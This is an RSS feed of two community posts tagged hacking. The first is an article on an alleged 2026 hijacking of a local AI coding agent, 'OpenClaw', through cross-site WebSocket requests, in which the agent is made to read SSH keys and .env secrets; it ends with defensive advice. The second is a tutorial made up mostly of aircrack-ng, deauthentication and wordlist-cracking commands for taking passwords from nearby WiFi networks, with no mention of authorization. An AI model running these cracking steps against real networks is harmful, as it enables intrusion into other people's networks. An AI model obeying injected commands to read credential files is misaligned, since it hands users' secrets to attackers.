<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
<channel>
<title>Coder Legion - Recent posts tagged hacking</title>
<link>https://coderlegion.com/tag/hacking</link>
<description>Powered by Question2Answer</description>
<item>
<title>The Enemy in Your Terminal: Why OpenClaw was the Perfect Trojan Horse</title>
<link>https://coderlegion.com/14106/the-enemy-in-your-terminal-why-openclaw-was-the-perfect-trojan-horse</link>
<description>&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/fhj87rcxu9wbtm3y8mdf.png&quot; alt=&quot;Image description&quot;&gt;&lt;/p&gt;
&lt;p&gt;You didn't get hacked because you clicked a suspicious link in a spam email. You got hacked because you were trying to be productive.&lt;/p&gt;
&lt;p&gt;Think about your workflow right now. You pull a repo, install dependencies, spin up an AI coding assistant to handle the boilerplate, and go make coffee. You assume you are safe because you are behind a firewall. You assume localhost is a fortress.&lt;/p&gt;
&lt;p&gt;It isn't. It's an open door.&lt;/p&gt;
&lt;p&gt;The OpenClaw breach earlier this year proved that the most dangerous thing in your development environment isn't a virus. It's the agent you gave sudo access to. Let's strip away the hype and look at the autopsy of a disaster. Because while you were sleeping, your &quot;assistant&quot; was busy handing your SSH keys to a machine that thinks a thousand times faster than you do.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;the-foundation-of-blind-trust&quot;&gt;The Foundation of Blind Trust&lt;/h3&gt;
&lt;p&gt;We have a chronic habit in software engineering of trusting the tools that make our lives easier. We don't read the source code; we just look at the GitHub stars.&lt;/p&gt;
&lt;p&gt;Look at the historical precedent. This didn't start with AI.&lt;/p&gt;
&lt;p&gt;Remember the &lt;strong&gt;SolarWinds hack&lt;/strong&gt;? Attackers didn't break into government networks directly. They broke into the IT monitoring software everyone trusted. They poisoned the well.&lt;/p&gt;
&lt;p&gt;Then came the &lt;strong&gt;XZ Utils backdoor&lt;/strong&gt; in early 2024. A malicious actor spent years building trust in the open-source community just to slip a microscopic vulnerability into an archiving library that would have compromised SSH globally. We only caught it because a single developer noticed a 500-millisecond delay in his CPU processing. A fraction of a second was the only thing standing between us and total infrastructure collapse.&lt;/p&gt;
&lt;p&gt;Add the &lt;strong&gt;AnyDesk production breach&lt;/strong&gt; around the same time. The very tool designed to provide secure remote access was compromised at the source code level.&lt;/p&gt;
&lt;p&gt;We keep inviting the enemy inside the gates. But OpenClaw was different. OpenClaw wasn't just a compromised library. It was an active, autonomous participant.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/2gtb19g32gcdhyop39va.png&quot; alt=&quot;Image description&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;the-clawjacked-vulnerability-cve-2026-25253-&quot;&gt;The &quot;ClawJacked&quot; Vulnerability (CVE-2026–25253)&lt;/h3&gt;
&lt;p&gt;Here is where it gets technical, and where the negligence becomes obvious.&lt;/p&gt;
&lt;p&gt;OpenClaw was designed as a local AI agent to orchestrate your codebase. To do this, it ran a local WebSocket server on port &lt;code&gt;localhost:8888&lt;/code&gt;. The developers built it with a fatal assumption:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;&lt;em&gt;&quot;If the request is coming from localhost, it must be the user. It is inherently safe.&quot;&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This is lazy engineering.&lt;/p&gt;
&lt;p&gt;They ignored a fundamental reality of modern web architecture: &lt;strong&gt;Cross-Site WebSocket Hijacking (CSWSH)&lt;/strong&gt;. If you, the developer, have OpenClaw running in your terminal, and you open a browser tab to read an article on a compromised website, the JavaScript on that malicious site can send a payload directly to &lt;code&gt;ws://localhost:8888&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;There was no origin validation. There was no rate limiting.&lt;/p&gt;
&lt;p&gt;To see how reckless this is, look back at the &lt;strong&gt;Ray AI framework vulnerability (CVE-2023–48022)&lt;/strong&gt;. Thousands of companies deployed Ray to scale AI workloads, but the dashboard lacked authentication by default. Hackers simply scanned for exposed ports, dropped cryptominers, and stole credentials. Sound familiar?&lt;/p&gt;
&lt;p&gt;With OpenClaw, the attackers didn't even need to scan the internet. They just waited for you to open a browser tab.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/2d7hq5tf2hnnji4lhlv1.png&quot; alt=&quot;Image description&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;speed-kills-the-100-millisecond-heist&quot;&gt;Speed Kills: The 100-Millisecond Heist&lt;/h3&gt;
&lt;p&gt;Once the connection was made, the scale of the attack shifted.&lt;/p&gt;
&lt;p&gt;When a human hacks a system, they pause. They run &lt;code&gt;ls&lt;/code&gt;. They read the output. They figure out where they are.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;An attack agent doesn't pause.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;In the time it took you to blink, the malicious script brute-forced the local agent's weak default API key. Because there was no rate limit, it tried five hundred combinations in a quarter of a second. Once authenticated, it didn't download a heavy virus. It just used the permissions you already gave OpenClaw.&lt;/p&gt;
&lt;p&gt;It instructed your AI assistant to run:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;cat ~/.ssh/id_rsa
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It scraped your &lt;code&gt;.env&lt;/code&gt; files for AWS keys. It zipped them and sent them via an encrypted outbound request to a dead-drop server.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;All of this happened in roughly 150 milliseconds.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This mirrors the &lt;strong&gt;Hugging Face token leaks of 2023 and 2024&lt;/strong&gt;, where developers routinely left API keys exposed in public spaces, and automated bots scraped them instantly. But with OpenClaw, you didn't leave the keys in public. The bot reached into your private machine and took them.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;the-2026-reality-check&quot;&gt;The 2026 Reality Check&lt;/h3&gt;
&lt;p&gt;We are building systems we barely understand and giving them the keys to the kingdom. We treat AI agents like interns, forgetting that an intern doesn't have the ability to execute five thousand lines of shell commands in a second.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;If you are running local agents without strict, containerized boundaries, you are compromised. It is not a matter of if, but when.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Stop relying on default configurations. Stop assuming localhost is a safe harbor. Implement Zero Trust on your own machine:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Containerize your agents&lt;/li&gt;
&lt;li&gt;Require explicit biometric or hardware-token approval for terminal executions&lt;/li&gt;
&lt;li&gt;Monitor your outbound traffic&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The Trojan Horse worked because the Trojans thought it was a gift. Stop accepting gifts without checking what's inside.&lt;/p&gt;
&lt;hr&gt;
&lt;hr&gt;
&lt;h3 id=&quot;connect-with-the-author&quot;&gt;Connect With the Author&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;You can find me across the web here&lt;/strong&gt;:&lt;br&gt;
✍️ Read more on Medium: &lt;a rel=&quot;nofollow&quot; href=&quot;https://medium.com/@syedahmershah&quot;&gt;@syedahmershah&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; Join the discussion on Dev.to: &lt;a rel=&quot;nofollow&quot; href=&quot;https://dev.to/syedahmershah&quot;&gt;@syedahmershah&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; Deep dives on Hashnode: &lt;a rel=&quot;nofollow&quot; href=&quot;https://hashnode.com/@syedahmershah&quot;&gt;@syedahmershah&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; Check my code on GitHub: &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/ahmershahdev&quot;&gt;@ahmershahdev&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; Connect professionally on LinkedIn: &lt;a rel=&quot;nofollow&quot; href=&quot;https://www.google.com/search?q=https%3A%2F%2Fwww.linkedin.com%2Fin%2Fsyedahmershah%2F&quot;&gt;@syedahmershah&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; All my links in one place on Beacons: &lt;a rel=&quot;nofollow&quot; href=&quot;https://beacons.ai/syedahmershah&quot;&gt;Syed Ahmer Shah&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; Visit my Portfolio Website: &lt;a rel=&quot;nofollow&quot; href=&quot;https://ahmershah.dev/&quot;&gt;ahmershah.dev&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;You can also find my verified Google Business profile &lt;a rel=&quot;nofollow&quot; href=&quot;https://g.page/r/CS9yn4Q_UhZ4EBM&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/14106/the-enemy-in-your-terminal-why-openclaw-was-the-perfect-trojan-horse</guid>
<pubDate>Mon, 06 Apr 2026 21:54:48 +0000</pubDate>
</item>
<item>
<title>Hack WiFi using Kali Linux</title>
<link>https://coderlegion.com/2946/hack-wifi-using-kali-linux</link>
<description>&lt;p&gt;Today, we will understand how to hack nearby wifi passwords.&lt;/p&gt;
&lt;p&gt;Prerequisites:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;WiFi should be in range (Of course)&lt;/li&gt;
&lt;li&gt;Kali Linux OS (preferred)&lt;/li&gt;
&lt;li&gt;Wifi interface(Already present if using laptop)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The tool of kali linux which we'll be using are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;airmon-ng&lt;/li&gt;
&lt;li&gt;airodump-ng&lt;/li&gt;
&lt;li&gt;aireplay-ng&lt;/li&gt;
&lt;li&gt;aircrack-ng&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;. Let's check out the full steps how to get the password of reachable wifi.&lt;/p&gt;
&lt;p&gt;Steps to reproduce:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Go to console &amp;amp; type the following command:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;ifconfig
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;Kill all the current processed &amp;amp; network managers related to wifi interface.&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;airmon-ng check kill
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;Start the interface using airmon&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;airmon-ng start start YOUR_WIFI_INTERFACE_NAME
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;&lt;p&gt;airmon-ng start start wlan0&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;To view all the wifi networks around you.&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;airodump-ng YOUR_INTERFACE_NAME
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;&lt;p&gt;airodump-ng wlan0mon&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;airodump-ng is for capturing the packets&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;After sometime, click on CTRL+C to stop scanning so that we've some wifi networks.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Now, we need to view the clients connected to that network&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;airodump-ng -c 1 --bssid BSSID_NUMBER/MAC_ADDRESS -w /root YOUR_WIFI_INTERFACE_NAME
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;&lt;p&gt;airodump-ng -c 1 --bssid 80:35:C1:13:C1:2C -w /root wlan0mon&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;; -c is for channel number, -w is for the directory you want to save the report file&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Now, our approach will be disconnecting all the connected clients from the network and sniff the packets received while connecting back to the same network. When it does so, you'll get something we call WPA handshake in current window.&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Open new terminal and disconnect the clients from that network using below code:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;aireplay-ng -0 10 -a BSSID_NUMBER/MAC_ADDRESS YOUR_WIFI_INTERFACE_NAME
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;&lt;p&gt;aireplay-ng -0 10 -a 80:35:C1:13:C1:2C wlan0mon&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;; aireplay-ng is for injecting the required frames to disconnect clients,&lt;br&gt;
-0 for deauthentication(so that clients will retry to connect),&lt;br&gt;
10 for the deauthentication packets to be send, you can increase or decrease depending upon the time you want to spend on this.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;You can now close this window. Capturing the password is now completed from our end. Now, we only need to decrypt the password. To open the passwords file, navigate to the directory you've provided in Step 6 above. You'll get a .cap file. That's our file.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;For decrypting the .cap file, we've different techniques. We'll use simple technique using aircrack-ng only. It'll help us crack the password using a wordlist. You can use &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt&quot;&gt;rockyou.txt&lt;/a&gt; wordlist which is most commonly used &amp;amp; is updated on regular basis.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Following is the code to run:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;aircrack-ng -a2 -b BSSID_NUMBER/MAC_ADDRESS -w WORDLIST_FILE_LOCATION CAP_FILE_LOCATION
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;&lt;p&gt;aircrack-ng -a2 -b 80:35:C1:13:C1:2C -w /root/passwords.txt /root/hacking-01.cap&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;; aircrack-ng is WEP/WPA-PSK key cracking program,&lt;br&gt;
-a2 for WPA2 &amp;amp; -a for WPA network,&lt;br&gt;
-w is the wordlist file location,&lt;/p&gt;
&lt;p&gt;If password is successfully cracked, you'll get the confirmation message as &quot;KEY FOUND!&quot;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;I've tried to teach how to crack wifi password of your nearby wifi network for free in the simplest manner possible. However, if you're facing any difficulty, do mention it in the comment. Will try to help. &lt;/p&gt;
&lt;p&gt;You can follow me on &lt;a rel=&quot;nofollow&quot; href=&quot;https://linkedin.com/in/nitin30kumar/&quot;&gt;LinkedIn&lt;/a&gt;, &lt;a rel=&quot;nofollow&quot; href=&quot;https://instagram.com/nitinkumar30.py/&quot;&gt;Instagram&lt;/a&gt; or check my latest projects on my &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/nitinkumar30/&quot;&gt;GitHub&lt;/a&gt;. Also, you can check my &lt;a rel=&quot;nofollow&quot; href=&quot;https://nitin-kr.onrender.com/&quot;&gt;portfolio&lt;/a&gt; too. &lt;/p&gt;
&lt;p&gt;[Keep Hacking] [Thanks]&lt;/p&gt;
</description>
<category>Getting Started</category>
<guid isPermaLink="true">https://coderlegion.com/2946/hack-wifi-using-kali-linux</guid>
<pubDate>Sat, 10 May 2025 12:45:55 +0000</pubDate>
</item>
</channel>
</rss>